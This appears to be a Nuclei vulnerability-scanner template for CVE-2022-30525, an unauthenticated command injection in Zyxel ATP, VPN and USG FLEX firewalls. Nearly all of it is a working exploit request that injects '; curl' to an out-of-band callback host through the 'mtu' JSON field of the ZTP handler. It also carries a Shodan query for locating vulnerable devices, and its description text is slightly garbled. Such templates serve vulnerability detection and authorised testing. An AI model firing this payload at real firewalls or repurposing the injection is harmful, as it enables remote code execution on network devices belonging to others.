id: CVE-2022-30525

info:
  name: Zyxel Firewall - Unauthenticated RCE
  author: h1ei1,prajiteshsingh
  severity: critical
  description: |
    The vulnerability affects Zyxel firewalls that support Zero Touch Provisioning (ZTP), including the ATP Series, VPN Series, and USG FLEX Series (including USG20-VPN and USG20W-VPN), allowing an unauthenticated remote attacker to target the affected device as nobody Execute arbitrary code as a user on.
  reference:
    - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
    - https://github.com/rapid7/metasploit-framework/pull/16563
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30525
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
  classification:
    cve-id: CVE-2022-30525
  metadata:
    shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
  tags: rce,zyxel,cve,cve2022,firewall,unauth

requests:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500